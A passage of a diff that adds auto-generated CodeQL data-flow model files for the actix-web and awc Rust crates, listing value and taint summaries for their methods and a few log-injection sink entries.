"ReturnValue.Field[crate::service::ServiceResponse::response].Field[crate::response::response::HttpResponse::error]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::error_response", "Argument[self].Field[crate::service::ServiceResponse::request]", "ReturnValue.Field[crate::service::ServiceResponse::request]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::from_err", "Argument[1]", "ReturnValue.Field[crate::service::ServiceResponse::request]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_parts", "Argument[self].Field[crate::service::ServiceResponse::request]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_parts", "Argument[self].Field[crate::service::ServiceResponse::response]", "ReturnValue.Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_response", "Argument[0]", "ReturnValue.Field[crate::service::ServiceResponse::response]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_response", "Argument[self].Field[crate::service::ServiceResponse::request]", "ReturnValue.Field[crate::service::ServiceResponse::request]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_body", "Argument[self].Field[crate::service::ServiceResponse::request]", "ReturnValue.Field[crate::service::ServiceResponse::request]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_body", "Argument[self].Field[crate::service::ServiceResponse::response].Field[crate::response::response::HttpResponse::error]", "ReturnValue.Field[crate::service::ServiceResponse::response].Field[crate::response::response::HttpResponse::error]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_into_boxed_body", "Argument[self].Field[crate::service::ServiceResponse::request]", "ReturnValue.Field[crate::service::ServiceResponse::request]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_into_boxed_body", "Argument[self].Field[crate::service::ServiceResponse::response].Field[crate::response::response::HttpResponse::error]", "ReturnValue.Field[crate::service::ServiceResponse::response].Field[crate::response::response::HttpResponse::error]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_into_left_body", "Argument[self].Field[crate::service::ServiceResponse::request]", "ReturnValue.Field[crate::service::ServiceResponse::request]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_into_left_body", "Argument[self].Field[crate::service::ServiceResponse::response].Field[crate::response::response::HttpResponse::error]", "ReturnValue.Field[crate::service::ServiceResponse::response].Field[crate::response::response::HttpResponse::error]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_into_right_body", "Argument[self].Field[crate::service::ServiceResponse::request]", "ReturnValue.Field[crate::service::ServiceResponse::request]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::map_into_right_body", "Argument[self].Field[crate::service::ServiceResponse::response].Field[crate::response::response::HttpResponse::error]", "ReturnValue.Field[crate::service::ServiceResponse::response].Field[crate::response::response::HttpResponse::error]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue.Field[crate::service::ServiceResponse::request]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[1]", "ReturnValue.Field[crate::service::ServiceResponse::response]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::request", "Argument[self].Field[crate::service::ServiceResponse::request]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::response", "Argument[self].Field[crate::service::ServiceResponse::response]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::response_mut", "Argument[self].Field[crate::service::ServiceResponse::response]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::finish", "Argument[self].Field[crate::service::WebService::guards]", "ReturnValue.Field[crate::service::WebServiceImpl::guards]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::finish", "Argument[self].Field[crate::service::WebService::name]", "ReturnValue.Field[crate::service::WebServiceImpl::name]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::finish", "Argument[self].Field[crate::service::WebService::rdef]", "ReturnValue.Field[crate::service::WebServiceImpl::rdef]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::guard", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::name", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::app_data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::append_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::cookie", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::data", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::insert_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::method", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::param", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::peer_addr", "Argument[0]", "Argument[self].Field[crate::test::test_request::TestRequest::peer_addr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::peer_addr", "Argument[0]", "ReturnValue.Field[crate::test::test_request::TestRequest::peer_addr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::peer_addr", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::rmap", "Argument[0]", "Argument[self].Field[crate::test::test_request::TestRequest::rmap]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::rmap", "Argument[0]", "ReturnValue.Field[crate::test::test_request::TestRequest::rmap]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::rmap", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::set_form", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::set_json", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::set_payload", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::uri", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::as_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::as_mut", "Argument[self].Field[crate::thin_data::ThinData(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::as_ref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::as_ref", "Argument[self].Field[crate::thin_data::ThinData(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref", "Argument[self].Field[crate::thin_data::ThinData(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref_mut", "Argument[self].Field[crate::thin_data::ThinData(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::from_request", "Argument[0].Reference", "ReturnValue.Field[crate::types::either::EitherExtractFut::req]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::unwrap_left", "Argument[self].Field[crate::types::either::Either::Left(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::unwrap_right", "Argument[self].Field[crate::types::either::Either::Right(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::from_request", "Argument[0].Reference", "ReturnValue.Field[crate::types::form::FormExtractFut::req]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref", "Argument[self].Field[crate::types::form::Form(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref_mut", "Argument[self].Field[crate::types::form::Form(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[crate::types::form::Form(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::error_handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[0]", "Argument[self].Field[crate::types::form::FormConfig::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[0]", "ReturnValue.Field[crate::types::form::FormConfig::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[0]", "Argument[self].Field[crate::types::form::UrlEncoded::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[0]", "ReturnValue.Field[crate::types::form::UrlEncoded::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref", "Argument[self].Field[crate::types::header::Header(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref_mut", "Argument[self].Field[crate::types::header::Header(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[crate::types::header::Header(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::respond_to", "Argument[self].Field[0]", "ReturnValue.Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::respond_to", "Argument[self].Field[crate::types::html::Html(0)]", "ReturnValue.Field[crate::response::response::HttpResponse::res].Field[crate::responses::response::Response::body]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::from_request", "Argument[0].Reference", "ReturnValue.Field[crate::types::json::JsonExtractFut::req].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref", "Argument[self].Field[crate::types::json::Json(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref_mut", "Argument[self].Field[crate::types::json::Json(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[crate::types::json::Json(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[0]", "ReturnValue.Field[crate::types::json::JsonBody::Body::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::content_type", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::content_type_required", "Argument[0]", "Argument[self].Field[crate::types::json::JsonConfig::content_type_required]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::content_type_required", "Argument[0]", "ReturnValue.Field[crate::types::json::JsonConfig::content_type_required]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::content_type_required", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::error_handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[0]", "Argument[self].Field[crate::types::json::JsonConfig::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[0]", "ReturnValue.Field[crate::types::json::JsonConfig::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[crate::types::path::Path(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::error_handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[0]", "Argument[self].Field[crate::types::payload::HttpMessageBody::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[0]", "ReturnValue.Field[crate::types::payload::HttpMessageBody::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[crate::types::payload::Payload(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[0]", "Argument[self].Field[crate::types::payload::PayloadConfig::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[0]", "ReturnValue.Field[crate::types::payload::PayloadConfig::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::mimetype", "Argument[0]", "Argument[self].Field[crate::types::payload::PayloadConfig::mimetype].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::mimetype", "Argument[0]", "ReturnValue.Field[crate::types::payload::PayloadConfig::mimetype].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::mimetype", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "ReturnValue.Field[crate::types::payload::PayloadConfig::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref", "Argument[self].Field[crate::types::query::Query(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref_mut", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::deref_mut", "Argument[self].Field[crate::types::query::Query(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::into_inner", "Argument[self].Field[crate::types::query::Query(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::error_handler", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[0]", "Argument[self].Field[crate::types::readlines::Readlines::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[0]", "ReturnValue.Field[crate::types::readlines::Readlines::limit]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::limit", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::downcast_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::downcast_ref", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::downcast_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::downcast_ref", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::from", "Argument[0].Field[crate::http::header::content_length::ContentLength(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "crate::guard::Method", "Argument[0]", "ReturnValue.Field[crate::guard::MethodGuard(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "crate::guard::fn_guard", "Argument[0]", "ReturnValue.Field[crate::guard::FnGuard(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "crate::web::scope", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new_strong", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new_weak", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::strong", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::weak", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::custom_request_replace", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::custom_response_replace", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::new", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-web", "::respond_to", "Argument[self]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-awc.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-awc.model.yml new file mode 100644 index 000000000000..30828f012fa4 --- /dev/null +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-awc.model.yml @@ -0,0 +1,226 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/actix/actix-web:awc", "::add_default_header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::connector", "Argument[0]", "ReturnValue.Field[crate::builder::ClientBuilder::connector]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::disable_redirects", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::disable_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::header", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::initial_connection_window_size", "Argument[0]", "Argument[self].Field[crate::builder::ClientBuilder::conn_window_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::initial_connection_window_size", "Argument[0]", "ReturnValue.Field[crate::builder::ClientBuilder::conn_window_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::initial_connection_window_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::initial_window_size", "Argument[0]", "Argument[self].Field[crate::builder::ClientBuilder::stream_window_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::initial_window_size", "Argument[0]", "ReturnValue.Field[crate::builder::ClientBuilder::stream_window_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::initial_window_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::local_address", "Argument[0]", "Argument[self].Field[crate::builder::ClientBuilder::local_address].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::local_address", "Argument[0]", "ReturnValue.Field[crate::builder::ClientBuilder::local_address].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::local_address", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::max_http_version", "Argument[0]", "Argument[self].Field[crate::builder::ClientBuilder::max_http_version].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::max_http_version", "Argument[0]", "ReturnValue.Field[crate::builder::ClientBuilder::max_http_version].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::max_http_version", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::max_redirects", "Argument[0]", "Argument[self].Field[crate::builder::ClientBuilder::max_redirects]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::max_redirects", "Argument[0]", "ReturnValue.Field[crate::builder::ClientBuilder::max_redirects]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::max_redirects", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::no_default_headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[0]", "Argument[self].Field[crate::builder::ClientBuilder::timeout].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[0]", "ReturnValue.Field[crate::builder::ClientBuilder::timeout].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::wrap", "Argument[0]", "ReturnValue.Field[crate::builder::ClientBuilder::middleware].Field[crate::middleware::NestTransform::parent]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::delete", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::get", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::head", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::options", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::patch", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::post", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::put", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::request", "Argument[0]", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::request_from", "Argument[1].Field[crate::requests::head::RequestHead::method].Reference", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::request_from", "Argument[1].Field[crate::requests::head::RequestHead::method]", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::ws", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::no_disconnect_timeout", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::new", "Argument[0]", "ReturnValue.Field[crate::client::connection::H2ConnectionInner::sender]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::conn_keep_alive", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::conn_keep_alive]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::conn_keep_alive", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::conn_keep_alive]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::conn_keep_alive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::conn_lifetime", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::conn_lifetime]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::conn_lifetime", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::conn_lifetime]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::conn_lifetime", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::connector", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::connector]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::connector", "Argument[self].Field[crate::client::connector::Connector::config]", "ReturnValue.Field[crate::client::connector::Connector::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::connector", "Argument[self].Field[crate::client::connector::Connector::tls]", "ReturnValue.Field[crate::client::connector::Connector::tls]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::disconnect_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::finish", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::handshake_timeout", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::handshake_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::handshake_timeout", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::handshake_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::handshake_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::initial_connection_window_size", "Argument[0]", "Argument[self].Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::conn_window_size]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::initial_connection_window_size", "Argument[0]", "ReturnValue.Field[crate::client::connector::Connector::config].Field[crate::client::config::ConnectorConfig::conn_window_size]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::initial_connection_window_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:awc", "::initial_window_size", 